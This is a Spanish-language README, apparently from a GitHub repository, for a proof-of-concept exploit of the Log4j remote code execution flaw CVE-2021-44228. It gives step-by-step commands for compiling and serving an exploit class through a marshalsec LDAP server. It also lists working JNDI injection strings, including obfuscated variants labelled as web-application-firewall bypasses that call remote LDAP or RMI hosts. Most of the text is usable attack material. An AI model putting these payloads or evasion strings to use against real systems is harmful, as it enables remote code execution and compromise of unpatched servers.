Únete a la Comunidad

Telegram

CVE-2021-44228 (Ejecución Remota de Código en Apache Log4j)

Versiones afectadas < 2.15.0

Uso:

git clone https://github.com/PwnC00re/CVE-2021-44228-Apache-Log4j-Rce.git
cd apache-log4j-poc/src/main/java
javac Exploit.java 
python -m SimpleHTTPServer 8888 

cd tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

Finalmente ejecuta el proyecto, verás la calculadora de tu sistema local.

Consejos:

puedes usar JNDI-Injection-Exploit para explotar.

Bypass rc1

Por ejemplo:

${jndi:ldap://127.0.0.1:1389/ badClassName}

Bypass WAF

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

Detalles de la Vulnerabilidad

Las búsquedas (lookups) proporcionan una forma de agregar valores a la configuración de Log4j en lugares arbitrarios.

Lookups

Los métodos que provocan la fuga finalmente

LogManager.getLogger().error()
LogManager.getLogger().fatal()

Método Simple de Verificación

Si deseas realizar pruebas de caja negra, te sugiero hacer escaneo pasivo.

BurpLog4jScan

¡Diviértete!!!

Evolución de estrellas a lo largo del tiempo